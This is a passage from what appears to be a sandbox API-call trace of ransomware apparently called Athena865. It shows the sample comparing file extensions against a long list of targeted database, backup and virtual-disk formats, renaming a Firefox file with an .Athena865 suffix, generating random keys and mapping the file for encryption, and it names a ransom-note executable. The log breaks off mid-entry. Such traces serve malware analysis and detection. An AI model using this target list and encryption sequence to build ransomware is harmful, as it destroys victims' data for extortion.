[0043.228] lstrcmpiW (lpString1="chk", lpString2="4dl") returned 1 [0043.228] lstrlenW (lpString="^^^") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="^^^") returned 1 [0043.228] lstrlenW (lpString="abs") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="abs") returned 1 [0043.228] lstrlenW (lpString="abx") returned 3 [0043.228] lstrcmpiW (lpString1="chk", lpString2="abx") returned 1 [0043.228] lstrlenW (lpString="accdb") returned 5 [0043.228] lstrcmpiW (lpString1="3.chk", lpString2="accdb") returned -1 [0043.229] lstrlenW (lpString="accdc") returned 5 [0043.229] lstrcmpiW (lpString1="3.chk", lpString2="accdc") returned -1 [0043.229] lstrlenW (lpString="accde") returned 5 [0043.229] lstrcmpiW (lpString1="3.chk", lpString2="accde") returned -1 [0043.229] lstrlenW (lpString="accdr") returned 5 [0043.229] lstrcmpiW (lpString1="3.chk", lpString2="accdr") returned -1 [0043.229] lstrlenW (lpString="accdt") returned 5 [0043.229] lstrcmpiW (lpString1="3.chk", lpString2="accdt") returned -1 [0043.229] lstrlenW (lpString="accdw") returned 5 [0043.229] lstrcmpiW (lpString1="3.chk", lpString2="accdw") returned -1 [0043.229] lstrlenW (lpString="accft") returned 5 [0043.229] lstrcmpiW (lpString1="3.chk", lpString2="accft") returned -1 [0043.229] lstrlenW (lpString="adb") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="adb") returned 1 [0043.229] lstrlenW (lpString="adb") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="adb") returned 1 [0043.229] lstrlenW (lpString="ade") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="ade") returned 1 [0043.229] lstrlenW (lpString="adf") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="adf") returned 1 [0043.229] lstrlenW (lpString="adn") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="adn") returned 1 [0043.229] lstrlenW (lpString="adp") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="adp") returned 1 [0043.229] lstrlenW (lpString="alf") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="alf") returned 1 [0043.229] lstrlenW (lpString="ask") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="ask") returned 1 [0043.229] lstrlenW (lpString="btr") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="btr") returned 1 [0043.229] lstrlenW (lpString="cat") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="cat") returned 1 [0043.229] lstrlenW (lpString="cdb") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="cdb") returned 1 [0043.229] lstrlenW (lpString="ckp") returned 3 [0043.229] lstrcmpiW (lpString1="chk", lpString2="ckp") returned -1 [0043.230] lstrlenW (lpString="cma") returned 3 [0043.230] lstrcmpiW (lpString1="chk", lpString2="cma") returned -1 [0043.230] lstrlenW (lpString="cpd") returned 3 [0043.230] lstrcmpiW (lpString1="chk", lpString2="cpd") returned -1 [0043.230] lstrlenW (lpString="dacpac") returned 6 [0043.230] lstrcmpiW (lpString1="l3.chk", lpString2="dacpac") returned 1 [0043.230] lstrlenW (lpString="dad") returned 3 [0043.230] lstrcmpiW (lpString1="chk", lpString2="dad") returned -1 [0043.230] lstrlenW (lpString="dadiagrams") returned 10 [0043.230] lstrcmpiW (lpString1="reebl3.chk", lpString2="dadiagrams") returned 1 [0043.230] lstrlenW (lpString="daschema") returned 8 [0043.230] lstrcmpiW (lpString1="ebl3.chk", lpString2="daschema") returned 1 [0043.230] lstrlenW (lpString="db-journal") returned 10 [0043.230] lstrcmpiW (lpString1="reebl3.chk", lpString2="db-journal") returned 1 [0043.230] lstrlenW (lpString="db-shm") returned 6 [0043.230] lstrcmpiW (lpString1="l3.chk", lpString2="db-shm") returned 1 [0043.230] lstrlenW (lpString="db-wal") returned 6 [0043.230] lstrcmpiW (lpString1="l3.chk", lpString2="db-wal") returned 1 [0043.230] lstrlenW (lpString="dbc") returned 3 [0043.230] lstrcmpiW (lpString1="chk", lpString2="dbc") returned -1 [0043.230] lstrlenW (lpString="dbs") returned 3 [0043.230] lstrcmpiW (lpString1="chk", lpString2="dbs") returned -1 [0043.230] lstrlenW (lpString="dbt") returned 3 [0043.230] lstrcmpiW (lpString1="chk", lpString2="dbt") returned -1 [0043.230] lstrlenW (lpString="dbv") returned 3 [0043.230] lstrcmpiW (lpString1="chk", lpString2="dbv") returned -1 [0043.230] lstrlenW (lpString="dbx") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="dbx") returned -1 [0043.231] lstrlenW (lpString="dcb") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="dcb") returned -1 [0043.231] lstrlenW (lpString="dct") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="dct") returned -1 [0043.231] lstrlenW (lpString="dcx") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="dcx") returned -1 [0043.231] lstrlenW (lpString="ddl") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="ddl") returned -1 [0043.231] lstrlenW (lpString="dlis") returned 4 [0043.231] lstrcmpiW (lpString1=".chk", lpString2="dlis") returned -1 [0043.231] lstrlenW (lpString="dp1") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="dp1") returned -1 [0043.231] lstrlenW (lpString="dqy") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="dqy") returned -1 [0043.231] lstrlenW (lpString="dsk") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="dsk") returned -1 [0043.231] lstrlenW (lpString="dsn") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="dsn") returned -1 [0043.231] lstrlenW (lpString="dtsx") returned 4 [0043.231] lstrcmpiW (lpString1=".chk", lpString2="dtsx") returned -1 [0043.231] lstrlenW (lpString="dxl") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="dxl") returned -1 [0043.231] lstrlenW (lpString="eco") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="eco") returned -1 [0043.231] lstrlenW (lpString="ecx") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="ecx") returned -1 [0043.231] lstrlenW (lpString="edb") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="edb") returned -1 [0043.231] lstrlenW (lpString="epim") returned 4 [0043.231] lstrcmpiW (lpString1=".chk", lpString2="epim") returned -1 [0043.231] lstrlenW (lpString="fcd") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="fcd") returned -1 [0043.231] lstrlenW (lpString="fdb") returned 3 [0043.231] lstrcmpiW (lpString1="chk", lpString2="fdb") returned -1 [0043.232] lstrlenW (lpString="fic") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="fic") returned -1 [0043.232] lstrlenW (lpString="flexolibrary") returned 12 [0043.232] lstrlenW (lpString="fm5") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="fm5") returned -1 [0043.232] lstrlenW (lpString="fmp") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="fmp") returned -1 [0043.232] lstrlenW (lpString="fmp12") returned 5 [0043.232] lstrcmpiW (lpString1="3.chk", lpString2="fmp12") returned -1 [0043.232] lstrlenW (lpString="fmpsl") returned 5 [0043.232] lstrcmpiW (lpString1="3.chk", lpString2="fmpsl") returned -1 [0043.232] lstrlenW (lpString="fol") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="fol") returned -1 [0043.232] lstrlenW (lpString="fp3") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="fp3") returned -1 [0043.232] lstrlenW (lpString="fp4") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="fp4") returned -1 [0043.232] lstrlenW (lpString="fp5") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="fp5") returned -1 [0043.232] lstrlenW (lpString="fp7") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="fp7") returned -1 [0043.232] lstrlenW (lpString="fpt") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="fpt") returned -1 [0043.232] lstrlenW (lpString="frm") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="frm") returned -1 [0043.232] lstrlenW (lpString="gdb") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="gdb") returned -1 [0043.232] lstrlenW (lpString="gdb") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="gdb") returned -1 [0043.232] lstrlenW (lpString="grdb") returned 4 [0043.232] lstrcmpiW (lpString1=".chk", lpString2="grdb") returned -1 [0043.232] lstrlenW (lpString="gwi") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="gwi") returned -1 [0043.232] lstrlenW (lpString="hdb") returned 3 [0043.232] lstrcmpiW (lpString1="chk", lpString2="hdb") returned -1 [0043.233] lstrlenW (lpString="his") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="his") returned -1 [0043.233] lstrlenW (lpString="ib") returned 2 [0043.233] lstrcmpiW (lpString1="hk", lpString2="ib") returned -1 [0043.233] lstrlenW (lpString="idb") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="idb") returned -1 [0043.233] lstrlenW (lpString="ihx") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="ihx") returned -1 [0043.233] lstrlenW (lpString="itdb") returned 4 [0043.233] lstrcmpiW (lpString1=".chk", lpString2="itdb") returned -1 [0043.233] lstrlenW (lpString="itw") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="itw") returned -1 [0043.233] lstrlenW (lpString="jet") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="jet") returned -1 [0043.233] lstrlenW (lpString="jtx") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="jtx") returned -1 [0043.233] lstrlenW (lpString="kdb") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="kdb") returned -1 [0043.233] lstrlenW (lpString="kexi") returned 4 [0043.233] lstrcmpiW (lpString1=".chk", lpString2="kexi") returned -1 [0043.233] lstrlenW (lpString="kexic") returned 5 [0043.233] lstrcmpiW (lpString1="3.chk", lpString2="kexic") returned -1 [0043.233] lstrlenW (lpString="kexis") returned 5 [0043.233] lstrcmpiW (lpString1="3.chk", lpString2="kexis") returned -1 [0043.233] lstrlenW (lpString="lgc") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="lgc") returned -1 [0043.233] lstrlenW (lpString="lwx") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="lwx") returned -1 [0043.233] lstrlenW (lpString="maf") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="maf") returned -1 [0043.233] lstrlenW (lpString="maq") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="maq") returned -1 [0043.233] lstrlenW (lpString="mar") returned 3 [0043.233] lstrcmpiW (lpString1="chk", lpString2="mar") returned -1 [0043.233] lstrlenW (lpString="marshal") returned 7 [0043.233] lstrcmpiW (lpString1="bl3.chk", lpString2="marshal") returned -1 [0043.234] lstrlenW (lpString="mas") returned 3 [0043.234] lstrcmpiW (lpString1="chk", lpString2="mas") returned -1 [0043.234] lstrlenW (lpString="mav") returned 3 [0043.234] lstrcmpiW (lpString1="chk", lpString2="mav") returned -1 [0043.234] lstrlenW (lpString="maw") returned 3 [0043.234] lstrcmpiW (lpString1="chk", lpString2="maw") returned -1 [0043.234] lstrlenW (lpString="mdbhtml") returned 7 [0043.234] lstrcmpiW (lpString1="bl3.chk", lpString2="mdbhtml") returned -1 [0043.234] lstrlenW (lpString="mdn") returned 3 [0043.234] lstrcmpiW (lpString1="chk", lpString2="mdn") returned -1 [0043.234] lstrlenW (lpString="mdt") returned 3 [0043.234] lstrcmpiW (lpString1="chk", lpString2="mdt") returned -1 [0043.234] lstrlenW (lpString="mfd") returned 3 [0043.234] lstrcmpiW (lpString1="chk", lpString2="mfd") returned -1 [0043.234] lstrlenW (lpString="mpd") returned 3 [0043.234] lstrcmpiW (lpString1="chk", lpString2="mpd") returned -1 [0043.234] lstrlenW (lpString="mrg") returned 3 [0043.234] lstrcmpiW (lpString1="chk", lpString2="mrg") returned -1 [0043.234] lstrlenW (lpString="mud") returned 3 [0043.234] lstrcmpiW (lpString1="chk", lpString2="mud") returned -1 [0043.234] lstrlenW (lpString="mwb") returned 3 [0043.234] lstrcmpiW (lpString1="chk", lpString2="mwb") returned -1 [0043.235] lstrlenW (lpString="myd") returned 3 [0043.235] lstrcmpiW (lpString1="chk", lpString2="myd") returned -1 [0043.235] lstrlenW (lpString="ndf") returned 3 [0043.235] lstrcmpiW (lpString1="chk", lpString2="ndf") returned -1 [0043.235] lstrlenW (lpString="nnt") returned 3 [0043.235] lstrcmpiW (lpString1="chk", lpString2="nnt") returned -1 [0043.235] lstrlenW (lpString="nrmlib") returned 6 [0043.235] lstrcmpiW (lpString1="l3.chk", lpString2="nrmlib") returned -1 [0043.235] lstrlenW (lpString="ns2") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="ns2") returned -1 [0043.236] lstrlenW (lpString="ns3") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="ns3") returned -1 [0043.236] lstrlenW (lpString="ns4") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="ns4") returned -1 [0043.236] lstrlenW (lpString="nsf") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="nsf") returned -1 [0043.236] lstrlenW (lpString="nv") returned 2 [0043.236] lstrcmpiW (lpString1="hk", lpString2="nv") returned -1 [0043.236] lstrlenW (lpString="nv2") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="nv2") returned -1 [0043.236] lstrlenW (lpString="nwdb") returned 4 [0043.236] lstrcmpiW (lpString1=".chk", lpString2="nwdb") returned -1 [0043.236] lstrlenW (lpString="nyf") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="nyf") returned -1 [0043.236] lstrlenW (lpString="odb") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="odb") returned -1 [0043.236] lstrlenW (lpString="odb") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="odb") returned -1 [0043.236] lstrlenW (lpString="oqy") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="oqy") returned -1 [0043.236] lstrlenW (lpString="ora") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="ora") returned -1 [0043.236] lstrlenW (lpString="orx") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="orx") returned -1 [0043.236] lstrlenW (lpString="owc") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="owc") returned -1 [0043.236] lstrlenW (lpString="p96") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="p96") returned -1 [0043.236] lstrlenW (lpString="p97") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="p97") returned -1 [0043.236] lstrlenW (lpString="pan") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="pan") returned -1 [0043.236] lstrlenW (lpString="pdb") returned 3 [0043.236] lstrcmpiW (lpString1="chk", lpString2="pdb") returned -1 [0043.237] lstrlenW (lpString="pdm") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="pdm") returned -1 [0043.237] lstrlenW (lpString="pnz") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="pnz") returned -1 [0043.237] lstrlenW (lpString="qry") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="qry") returned -1 [0043.237] lstrlenW (lpString="qvd") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="qvd") returned -1 [0043.237] lstrlenW (lpString="rbf") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="rbf") returned -1 [0043.237] lstrlenW (lpString="rctd") returned 4 [0043.237] lstrcmpiW (lpString1=".chk", lpString2="rctd") returned -1 [0043.237] lstrlenW (lpString="rod") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="rod") returned -1 [0043.237] lstrlenW (lpString="rodx") returned 4 [0043.237] lstrcmpiW (lpString1=".chk", lpString2="rodx") returned -1 [0043.237] lstrlenW (lpString="rpd") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="rpd") returned -1 [0043.237] lstrlenW (lpString="rsd") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="rsd") returned -1 [0043.237] lstrlenW (lpString="sas7bdat") returned 8 [0043.237] lstrcmpiW (lpString1="ebl3.chk", lpString2="sas7bdat") returned -1 [0043.237] lstrlenW (lpString="sbf") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="sbf") returned -1 [0043.237] lstrlenW (lpString="scx") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="scx") returned -1 [0043.237] lstrlenW (lpString="sdb") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="sdb") returned -1 [0043.237] lstrlenW (lpString="sdc") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="sdc") returned -1 [0043.237] lstrlenW (lpString="sdf") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="sdf") returned -1 [0043.237] lstrlenW (lpString="sis") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="sis") returned -1 [0043.237] lstrlenW (lpString="spq") returned 3 [0043.237] lstrcmpiW (lpString1="chk", lpString2="spq") returned -1 [0043.238] lstrlenW (lpString="te") returned 2 [0043.238] lstrcmpiW (lpString1="hk", lpString2="te") returned -1 [0043.238] lstrlenW (lpString="teacher") returned 7 [0043.238] lstrcmpiW (lpString1="bl3.chk", lpString2="teacher") returned -1 [0043.238] lstrlenW (lpString="tmd") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="tmd") returned -1 [0043.238] lstrlenW (lpString="tps") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="tps") returned -1 [0043.238] lstrlenW (lpString="trc") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="trc") returned -1 [0043.238] lstrlenW (lpString="trc") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="trc") returned -1 [0043.238] lstrlenW (lpString="trm") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="trm") returned -1 [0043.238] lstrlenW (lpString="udb") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="udb") returned -1 [0043.238] lstrlenW (lpString="udl") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="udl") returned -1 [0043.238] lstrlenW (lpString="usr") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="usr") returned -1 [0043.238] lstrlenW (lpString="v12") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="v12") returned -1 [0043.238] lstrlenW (lpString="vis") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="vis") returned -1 [0043.238] lstrlenW (lpString="vpd") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="vpd") returned -1 [0043.238] lstrlenW (lpString="vvv") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="vvv") returned -1 [0043.238] lstrlenW (lpString="wdb") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="wdb") returned -1 [0043.238] lstrlenW (lpString="wmdb") returned 4 [0043.238] lstrcmpiW (lpString1=".chk", lpString2="wmdb") returned -1 [0043.238] lstrlenW (lpString="wrk") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="wrk") returned -1 [0043.238] lstrlenW (lpString="xdb") returned 3 [0043.238] lstrcmpiW (lpString1="chk", lpString2="xdb") returned -1 [0043.239] lstrlenW (lpString="xld") returned 3 [0043.239] lstrcmpiW (lpString1="chk", lpString2="xld") returned -1 [0043.239] lstrlenW (lpString="xmlff") returned 5 [0043.239] lstrcmpiW (lpString1="3.chk", lpString2="xmlff") returned -1 [0043.239] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk.Athena865") returned 60 [0043.239] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.chk"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.chk.athena865"), dwFlags=0x1) returned 1 [0043.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.chk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0043.240] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=899) returned 1 [0043.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0043.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0043.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0043.240] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0043.241] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0043.241] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.241] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x690, lpName=0x0) returned 0x17c [0043.243] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x690) returned 0x100000 [0043.243] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0043.244] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0043.244] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0043.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0043.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0043.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0043.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0043.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0043.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0043.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0043.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0043.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0043.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0043.245] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0043.245] CloseHandle (hObject=0x17c) returned 1 [0043.245] CloseHandle (hObject=0x154) returned 1 [0043.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0043.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0043.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0043.247] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x49c70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="freebl3.dll", cAlternateFileName="")) returned 1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2=".") returned 1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="..") returned 1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="windows") returned -1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="bootmgr") returned 1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="temp") returned -1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="pagefile.sys") returned -1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="boot") returned 1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="ids.txt") returned -1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="ntuser.dat") returned -1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="perflogs") returned -1 [0043.247] lstrcmpiW (lpString1="freebl3.dll", lpString2="MSBuild") returned -1 [0043.247] lstrlenW (lpString="freebl3.dll") returned 11 [0043.247] lstrcpyW (in: lpString1=0x241e896, lpString2="freebl3.dll" | out: lpString1="freebl3.dll") returned="freebl3.dll" [0043.248] lstrlenW (lpString="freebl3.dll") returned 11 [0043.248] lstrlenW (lpString="Athena865") returned 9 [0043.248] lstrcmpiW (lpString1="eebl3.dll", lpString2="Athena865") returned 1 [0043.248] lstrlenW (lpString=".dll") returned 4 [0043.248] lstrcmpiW (lpString1="freebl3.dll", lpString2=".dll") returned 1 [0043.248] lstrlenW (lpString=".lnk") returned 4 [0043.248] lstrcmpiW (lpString1="freebl3.dll", lpString2=".lnk") returned 1 [0043.248] lstrlenW (lpString=".ini") returned 4 [0043.248] lstrcmpiW (lpString1="freebl3.dll", lpString2=".ini") returned 1 [0043.248] lstrlenW (lpString=".sys") returned 4 [0043.248] lstrcmpiW (lpString1="freebl3.dll", lpString2=".sys") returned 1 [0043.248] lstrlenW (lpString="freebl3.dll") returned 11 [0043.248] lstrlenW (lpString="bak") returned 3 [0043.248] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0043.248] lstrlenW (lpString="ba_") returned 3 [0043.248] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0043.248] lstrlenW (lpString="dbb") returned 3 [0043.248] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0043.248] lstrlenW (lpString="vmdk") returned 4 [0043.248] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0043.248] lstrlenW (lpString="rar") returned 3 [0043.248] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0043.248] lstrlenW (lpString="zip") returned 3 [0043.248] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0043.248] lstrlenW (lpString="tgz") returned 3 [0043.248] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0043.248] lstrlenW (lpString="vbox") returned 4 [0043.248] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0043.248] lstrlenW (lpString="vdi") returned 3 [0043.248] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0043.248] lstrlenW (lpString="vhd") returned 3 [0043.248] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0043.248] lstrlenW (lpString="vhdx") returned 4 [0043.248] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0043.248] lstrlenW (lpString="avhd") returned 4 [0043.249] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0043.249] lstrlenW (lpString="db") returned 2 [0043.249] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0043.249] lstrlenW (lpString="db2") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0043.249] lstrlenW (lpString="db3") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0043.249] lstrlenW (lpString="dbf") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0043.249] lstrlenW (lpString="mdf") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0043.249] lstrlenW (lpString="mdb") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0043.249] lstrlenW (lpString="sql") returned 3 [0043.249] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0043.249] lstrlenW (lpString="sqlite") returned 6 [0043.249] lstrcmpiW (lpString1="l3.dll", lpString2="sqlite") returned -1 [0043.249] lstrlenW (lpString="sqlite3") returned 7 [0043.249] 